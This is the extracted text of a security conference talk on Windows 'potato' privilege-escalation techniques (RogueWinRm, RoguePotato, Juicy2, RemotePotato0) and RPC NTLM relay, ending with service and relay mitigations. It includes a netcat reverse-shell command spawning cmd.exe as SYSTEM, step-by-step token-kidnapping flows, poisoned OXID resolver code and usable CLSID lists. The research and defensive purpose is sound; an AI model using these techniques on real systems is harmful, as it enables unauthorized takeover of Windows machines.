The Rise of Potatoes: Privilege Escalation in Windows Services

Andrea Pierini
IT Security Manager

Antonio Cocomazzi
System Engineer, SentinelOne
Whoami: Andrea Pierini

➔ IT architect & security manager

➔ Security enthusiast and independent Researcher

➔ MSRC top #100 ranking 2020

@decoder_it
https://decoder.cloud
decoder.ap@gmail.com
whoami

➔ System Engineer @ SentinelOne

➔ interested in malware analysis, reverse engineering, windows internals and offensive security

➔ CTF player and proud member of @DonkeysTeam

@splinter_code
@antonioCoco
Why this talk

➔ Windows Service Accounts usually holds “impersonation privileges” which can be (easily) abused for privilege escalation once compromised

➔ “Rotten/JuicyPotato” exploits do not work anymore in latest Windows releases

➔ Any chance to get our potatoes alive and kicking, again?

➔ *Do we really need impersonation privileges?*
Agenda

➔ Basic Concepts:
  ◆ Windows Services
  ◆ Windows Service Accounts
  ◆ WSH (Windows Service Hardening)
  ◆ Impersonation

➔ From Service to System
  ◆ RogueWinRm
  ◆ RoguePotato
  ◆ Juicy2
  ◆ Other non-”potatoes” techniques

➔ Relaying potatoes authentication

➔ Mitigations

➔ Conclusion
Windows Services

➔ What is a service?
   ◆ Particular process that runs in background in a separate Session and without user interaction.
   ◆ The classic Linux daemon, but for windows

➔ Why so important?
   ◆ Most of the Windows core components are run through a service
   ◆ DCOM, RPC, SMB, IIS, MSSQL, etc...
   ◆ Being daemons they will be an exposed attack surface

➔ Must be run with a **Service Account User**

➔ Configurations are under **HKLM\SYSTEM\CurrentControlSet\Services**
Windows Services

➔ How you recognize a service?
  ◆ Child process of services.exe (SCM)
  ◆ Process in Session 0
  ◆ From source code perspective: SvcInstall(), SvcMain(), SvcCtrlHandler(), SvcInit()...

➔ How the NT Kernel recognize a service...
  ◆ S-1-5-6 Service
    A group that includes all security principals that have logged on as a service.
Windows Services Accounts

➔ Windows Service Accounts have the password managed internally by the operating system

➔ Service Account types:
  ◆ Local System
  ◆ Local Service / Network Service Accounts
  ◆ Managed Service & Virtual Accounts

➔ Allowed to logon as a Service, logon type 5

➔ Could be also a normal user who has been granted the right “Log on as a Service”
Windows Services Hardening (WSH)

➔ Until Windows Server 2003/XP every service was run as **SYSTEM**

➔ If you compromise a service you have compromised also the **whole machine**

➔ WSH to the rescue, at least that was the initial goal

➔ Great references by @tiranidoo [1] and @cesarcer [2]

Windows Services Hardening (WSH)

➔ Limited Service Accounts
  ◆ Introduction of the **LOCAL SERVICE** and **NETWORK SERVICE** accounts, less privileges than SYSTEM account. (*but they still have impersonation privileges*)

➔ Reduced Privileges
  ◆ Services run only with specific privileges (**least privilege**)  

➔ Write-Restricted Token

➔ Per-Service SID/Virtual accounts
  ◆ Service access token can have dedicated and **unique owner SID**. No SID sharing across different services, assign permissions to specific SID

➔ Session 0 Isolation

➔ System Integrity Level

➔ UIPI (User interface privilege isolation)
Impersonation

→ “Impersonation is the ability of a thread to execute in a security context that is different from the context of the process that owns the thread.” MSDN

→ Basically it allows to execute code on behalf of another user

→ Token forged by impersonation are known as **secondary token** or **impersonation token**

→ Your process token must hold the **SeImpersonatePrivilege** ("Impersonate a Client After Authentication") to perform the impersonation

→ It is the prerequisite for all the techniques will be shown (except RemotePotato0 :D)
Impersonation

➔ You are wondering now: what is the link between Services and the impersonation privileges?
From Service to SYSTEM
RogueWinRm

→ **Release Date:** 6 December 2019  
→ **Authors:** @decoder_it - @splinter_code – 0xEA (@DonkeysTeam)

→ **Brief Description**  
◆ Force the BITS service to authenticate to a Rogue WinRm HTTP server in a NTLM challenge/response authentication resulting in a SYSTEM token stealing.[1]

→ **Requirements**  
◆ WinRm Port (5985) available for listening  
◆ By default impact only Windows clients, no Windows Servers

[1] https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/
RogueWinRm

➔ When a BITS object get initialized a weird behavior happens
➔ BITS object could be created through a DCOM activation using its **CLSID** or by a simple “**bitsadmin /list**”

```
C:\Windows\System32>nc64.exe -lvnp 5985
listening on [any] 5985 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 50654
POST /wsman HTTP/1.1
Connection: Keep-Alive
Content-Type: application/soap+xml; charset=UTF-8

Authorization: Negotiate YGwGB1sGAQUFAqBiMGcGjAYBgorBgEEAYI3AgIKBgorBgEEAYI3AgIeokJQE5UTE1TU1AAQAAAALeyC
OIJAAcKANwAAAAADwAoAAAAAcgC6rwaAAA9ERVNLVE9QLTVBS0pQVDZXT1jLR1jPVV=
User-Agent: Microsoft WinRM Client
Content-Length: 0
Host: localhost:5985
```
RogueWinRm

→ RogueWinRm is a minimal webserver that performs NTLM authentication over HTTP
The Rise of Potatoes: Privilege Escalation in Windows Services

```
C:\everyone>whoami
nt authority\local service
```

```
C:\everyone>whoami /priv
PRIVILEGES INFORMATION

--------------------------
<table>
<thead>
<tr>
<th>Privilege Name</th>
<th>Description</th>
<th>State</th>
</tr>
</thead>
<tbody>
<tr>
<td>SeAssignPrimaryTokenPrivilege</td>
<td>Replace a process level token</td>
<td>Disabled</td>
</tr>
<tr>
<td>SeIncreaseQuotaPrivilege</td>
<td>Adjust memory quotas for a process</td>
<td>Disabled</td>
</tr>
<tr>
<td>SeSystemtimePrivilege</td>
<td>Change the system time</td>
<td>Disabled</td>
</tr>
<tr>
<td>SeShutdownPrivilege</td>
<td>Shut down the system</td>
<td>Disabled</td>
</tr>
<tr>
<td>SeDebugPrivilege</td>
<td>Generate security audits</td>
<td>Disabled</td>
</tr>
<tr>
<td>SeChangeNotifyPrivilege</td>
<td>Bypass traverse checking</td>
<td>Enabled</td>
</tr>
<tr>
<td>SeImpersonatePrivilege</td>
<td>Impersonate a client after authentication</td>
<td>Enabled</td>
</tr>
<tr>
<td>SeCreateIoResourceViewPrivilege</td>
<td>Create global objects</td>
<td>Enabled</td>
</tr>
<tr>
<td>SeIncreaseWorkingSetPrivilege</td>
<td>Increase a process working set</td>
<td>Disabled</td>
</tr>
<tr>
<td>SeTimeZonePrivilege</td>
<td>Change the time zone</td>
<td>Disabled</td>
</tr>
</tbody>
</table>

```

```
C:\Windows\System32>nc64.exe -lvpn 3001
listening on [any] 3001 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 50860
Microsoft Windows [Version 10.0.18362.1082]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
```

```
C:\everyone>RogueWinRM.exe -p "C:\everyone\nc64.exe" -a "127.0.0.1 3001 -e cmd.exe"

Listening for connection on port 5985 ....
BITs is Running... Waiting 30 seconds for timeout (usually 120 seconds for timeout) ...

Received http negotiate request
Sending the 401 http response with ntlm type 2 challenge
Received http packet with ntlm type3 response
Using ntlm type3 response in AcceptSecurityContext()
BITs triggered!

[T:] authresult 0
NT AUTHORITY\SYSTEM
[T:] CreateProcessWithToken\OK
```
RoguePotato

» Release Date: 11 May 2020
» Authors: @decoder_it - @splinter_code

» Brief Description
- Tricks the DCOM activation service in contacting a remote Rogue Oxid Resolver to force RPCSS writing to a controlled named pipe getting a NETWORK SERVICE token. After that it uses Token Kidnapping to steal a SYSTEM token from the process space of RPCSS [1]

» Requirements
- The machine can make an outbound connection on port 135
- SMB Running
- DCOM Running

RoguePotato: the attack flow 1/4

Step 1

Trigger Istorage
(Account with Impersonation privs)
RoguePotato: the attack flow 1/4

➔ Tricking the DCOM activation service [1]
   ◆ Pick a **CLSID** to create an object activation request
   ◆ Once the object is created, initializes it to a marshalled object. (**IStorage**)
   ◆ In the marshalled object (**OBJREF_STANDARD**) we specify the string binding for a remote oxid resolver. This will be the ip of our remote rogue oxid resolver
   ◆ When the COM object will **unmarshal** the object (**CoGetInstanceFromIStorage**) it will trigger an oxid resolution request to our rogue oxid resolver in order to locate the binding information of the object

[1] Credits to @tiraniddo --> https://bugs.chromium.org/p/project-zero/issues/detail?id=325
RoguePotato: the attack flow 2/4

Step 1
Trigger Istorage (Account with Impersonation privs)

Step 2
Fake ResolveOxid2 (Anonymous Logon)
RoguePotato: the attack flow 2/4

➔ Forward the resolution coming to the remote host (port 135) back to the local host where the Rogue Oxid Resolver runs

➔ Write the code of the malicious ResolveOxid2() in order to return a poisoned answer:
  ♦ Force the usage of RPC over SMB (ncacn_np) instead of RPC over TCP (ncacn_ip_tcp)
  ♦ Return the binding information exploiting a path validation bypass [1]:

\[\text{ncacn_np:localhost/pipe/roguepotato[\text{\pipe\epmapper}]\]}

➔ Result: the activator (RPCSS), instead of using the default named pipe \text{\pipe\epmapper}, will use a non-existent named pipe \text{\pipe\roguepotato\pipe\epmapper} for locating the endpoint information

[1] Credits to @itm4n and @jonasLyk --> https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
RoguePotato: the attack flow 3/4

**Step 1**
Trigger Istorage (Account with Impersonation privs)

**Step 2**
Fake ResolveOxid2 (Anonymous Logon)

**Step 3**
Fake epmapper pipe (Impersonate Network Service)
RoguePotato: the attack flow 3/4

➔ Create listener on the free named pipe `\\pipe\roguepotato\pipe\epmapper` and wait for the connection from RPCSS, then we call `ImpersonateNamedPipeClient()` to impersonate the client

➔ Should we expect a surprise?
RoguePotato: the attack flow 3/4
RoguePotato: the attack flow 4/4

**Step 1**
Trigger Istorage (Account with Impersonation privs)

**Step 2**
Fake ResolveOxid2 (Anonymous Logon)

**Step 3**
Fake epmapper pipe (Impersonate Network Service)

**Step 4**
RPCSS Token Kidnapping (Impersonate SYSTEM)
The last step of the chain, the **Token Kidnapping** [1]

Get the PID of the “**RPCSS**” service

Open the process, list all handles and for each handle try to **duplicate** it and get the handle type

If handle type is “**Token**” and token owner is **SYSTEM**, try to impersonate and launch a process with **CreateProcessAsUser()** or **CreateProcessWithToken()**

[1] Credits to @cesarcr --&gt; https://dl.packetstormsecurity.net/papers/presentations/TokenKidnapping.pdf
RoguePotato: SYSTEM shell popping :D

POC: https://github.com/antonioCoco/RoguePotato

The Rise of Potatoes: Privilege Escalation in Windows Services
Juicy2

➔ **Release Date:** 30 May 2020
➔ **Authors:** @decoder_it - @splinter_code

➔ **Brief Description**
   ◆ Tricks the DCOM activation service in contacting a remote Rogue Oxid Resolver to force a specific DCOM component to authenticate to an arbitrary RPC server, resulting in a SYSTEM token stealing [1] [2]

➔ **Requirements**
   ◆ The machine can make an outbound connection on port 135
   ◆ DCOM Running
   ◆ By default affects only Windows clients, no Windows Servers

[1] https://decoder.cloud/2020/05/30/the-impersonation-game/
Juicy2

→ Similar to RoguePotato, but uses RPC over TCP (\texttt{ncacn_ip_tcp}) instead of RPC over SMB (\texttt{ncacn_np})
→ JuicyPotato reloaded, it works for windows > 1803 with some limitations
The Rise of Potatoes: Privilege Escalation in Windows Services

Juicy2

Step 1

Trigger Istorage
(Account with Impersonation privs)

Step 2

Fake ResolveOxid2
(Anonymous Logon)

Step 3

Fake IRemUnknown2
RPC Server
(Impersonate in SecurityCallback)

ncacn_ip_tcp:127.0.0.1[9999]
Juicy2

→ Most of CLSIDs returns an **Identification** token, pretty useless...
→ Why this behavior?

```c
typedef struct _RPC_SECURITY_QOS {
    unsigned long Version;
    unsigned long Capabilities;
    unsigned long IdentityTracking;
    unsigned long ImpersonationType;
} RPC_SECURITY_QOS, *PRPC_SECURITY_QOS;
```

→ By default: **ImpersonationType**=**RPC_C_IMP_LEVEL_IDENTIFY**
→ Can be overridden at code level (server side) or by controlling the regkey:
  **HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost**
The Rise of Potatoes: Privilege Escalation in Windows Services

**Juicy2**

→ Any CLSID that override this behavior?

<table>
<thead>
<tr>
<th>CLSID</th>
<th>USER</th>
<th>TYPE</th>
<th>LEVEL</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>{354ff91b-5e49-4bdc-a8e6-1cb6c6877182}</code></td>
<td>DESKTOP-172UGPP\andrea</td>
<td>impersonation</td>
<td></td>
</tr>
<tr>
<td><code>{38F441FB-3D16-422F-8750-B2DACEC5CCEFEC}</code></td>
<td>DESKTOP-172UGPP\andrea</td>
<td>impersonation</td>
<td></td>
</tr>
<tr>
<td><code>{90F18417-F0F1-484E-9D3C-59DCEE5DBD8}</code></td>
<td>NT AUTHORITY\SYSTEM</td>
<td>impersonation</td>
<td></td>
</tr>
<tr>
<td><code>{C41B1461-3F8C-4666-B512-6DF24DE566D1}</code></td>
<td>NT AUTHORITY\SYSTEM</td>
<td>impersonation</td>
<td></td>
</tr>
<tr>
<td><code>{f8842f8e-dafe-4b37-9d38-4e0714a61149}</code></td>
<td>DESKTOP-172UGPP\andrea</td>
<td>impersonation</td>
<td></td>
</tr>
</tbody>
</table>

ActiveX Installer service, no Windows Server 😞
Other non-"potatoes" techniques

**Network Service Impersonation**

- **Release Date:** 25 April 2020
- **Authors:** @tiraniddo
- **Brief Description**
  - If you can trick the “Network Service” account to write to a named pipe over the “network” and are able to impersonate the pipe, you can access the tokens stored in RPCSS service (which is running as Network Service and contains a pile of treasures) and “steal” a SYSTEM token. [1]

**PrintSpoofer**

- **Release Date:** 2 May 2020
- **Authors:** @itm4n - @jonasLyk
- **Brief Description**
  - An exposed RPC interface of the Print Spooler service is vulnerable to a path validation bypass in which you can trick the service to write to a controlled named pipe and then impersonating the connection resulting in a SYSTEM token stealing. [2]

Relaying Potatoes Authentication
Basic idea

➔ What if we (NTLM) relay[1] the RPC authentication triggered by a potato exploit instead of impersonating? --> No more impersonation privileges required!
➔ Machine authentication (NETWORK SERVICE/LOCAL SYSTEM) is not that useful...
➔ Some CLSID to the rescue! If activated from session 0:
  ◆ BrowserBroker Class {0002DF02-0000-0000-C000-000000000046}
  ◆ AuthBrokerUI {0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4}
  ◆ Easconsent.dll {5167B42F-C111-47A1-ACC4-8EABE61B0B54}
➔ They will trigger an NTLM authentication over RPC from the user interactively logged on :D

[1] “NTLM relay” is a technique of standing between a client and a server to perform actions on the server while impersonating the client” https://en.hackndo.com/ntlm-relay/
DCE/RPC NTLM Relay cross protocols

➔ In recent years most of the research/mitigations about NTLM Relaying were on SMB, HTTP, LDAP... What about RPC?

➔ RPC -> HTTP, RPC -> LDAP, RPC->SMB cross protocol relay works!
  - It requires the RPC authentication level is set to RPC_AUTHN_LEVEL_CONNECT (0x2)
  - We need to deal also with NTLM mitigations: SIGNING, MIC

➔ In our scenario two interesting NTLM authentications took place:
  - Oxid Resolution (IObjectExporter::ResolveOxid2 call)
  - IRemUnknown2 Interface (IRemUnknown2::RemRelease call)
OXID Resolution

Victim DCOM

Malicious Attacker

The Rise of Potatoes: Privilege Escalation in Windows Services
OXID Resolution

```c
error_status_t ResolveOxid2(
    handle_t hRpc,
    OXID* pOxid,
    unsigned short cRequestedProtseqs,
    unsigned short arRequestedProtseqs[],
    DUALSTRINGARRAY** ppdsaOxidBindings,
    IPID* pipidRemUnknown,
    DWORD* pAuthnHint,
    COMVERSION* pComVersion
)

*pAuthnHint = RPC_C_AUTHN_LEVEL_CONNECT;
```
Victim DCOM

Malicious Attacker

```c
error_status_t ResolveOxid2
{
    handle_t hRpc,
    OXID* pOxid,
    unsigned short cRequestedProtseqs,
    unsigned short aRequestedProtseqs[],
    DUALSTRINGARRAY** ppdsaOxidBindings,
    IPID* pipidRemUnknown,
    DWORD* pAuthnHint,
    COMVERSION* pComVersion
}
```

```c
sprintf_s(endpoint, MAX_PATH, "%127.0.0.1[%s]", port);
(*ppdsaOxidBindings)->aStringArray[0] = 0x07; // ncacn_ip_tcp
(*ppdsaOxidBindings)->aStringArray[securityOffset] = RPC_C_AUTHN_WINNT; // 0x0a
```
Victim DCOM

Malicious Attacker
RemotePotato0 - EOP use case by relaying potato authentication
RemotePotato0: Demo
The strange case of SMB relay

➔ RPC->SMB relay works as long as signin is not enabled and NLTM identify flag is not set
➔ If identify flag is set (ex: PickerHost CLSID) we can unset the flag and bypass this limitation
➔ Starting from November 2020 Patch Tuesday this is no more possible
➔ MIC is always checked, even if signin is not enabled!
RemotePotato0: Cross Session relay!

➔ Getting a shell in Session 0 is not so common for a regular user
➔ A more common scenario: you have a Remote Desktop session with multiple users connected you could attack via «cross session». Select the target session of your choice and profit! ;-)
➔ But «Session Moniker»[1] cannot be combined with IStorage activation. No chance?

RemotePotato0: Cross Session relay!

→ “Standard Activating Yourself to Greatness” [1] a recent post by Forshaw (inspired by our RemotePotato0) where he demonstrates that there are some “undocumented” ways to specify the target session before triggering the IStorage object, and left the exercise to the reader...

RemotePotato0: Cross Session relay!

Antonio Cocomazzi @splinter_code · Apr 29
RemotePotato0 Update:

We can confirm that cross session activation works in the relay scenario too so you can get rid of session 0 limitation! Now the real fun will ensue 😈

cc @decoder_it
Mitigations for services

➔ Change the sid type of the service to “WRITE RESTRICTED” [1]
  `sc.exe sidtype SampleService restricted`

➔ Use virtual service accounts [2] (or create your own [3])
  `sc.exe config SampleService obj= "NT SERVICE\SampleService"`

➔ Remove the impersonation privileges by specifying the only required privileges for the service(Least-Privilege) [1] [2]
  `sc.exe privs SampleService SeChangeNotifyPrivilege/SeCreateGlobalPrivilege`

Mitigations against NTLM relay attacks

➔ For HTTP: configure Channel Binding Tokens validation by setting the tokenChecking attribute to a minimum of Allow (if not Require)

➔ For LDAP: you should set the Domain controller: LDAP server signing requirements Group Policy to Require signature for non-LDAPS LDAP connections
  ◆ In addition, you should also set the Domain controller: LDAP server channel binding token requirements Group Policy to a minimum of When Supported (if not Always)

➔ For SMB: you should configure SMB Signing by setting the Group Policy Digitally sign server communication (always)

Conclusion

➔ For **Sysadmins**: never rely on default WSH configuration for segregating the services. Remember that also MS do not consider it a security boundary but just a “safety boundary”??????

➔ For **Penetration Testers**: always run “whoami /priv” when you land to a new server and check for the SeImpersonatePrivilege. It’s a 1 click privesc to SYSTEM :D

➔ For **service providers**: do not sell web servers (IIS) by creating a new virtual host on a shared machine, please...

➔ Do not trust the multi-session user isolation offered by Windows as it can be broken by **RemotePotato0**!
Thank You

Feel free to reach out! :D

@decoder_it
@splinter_code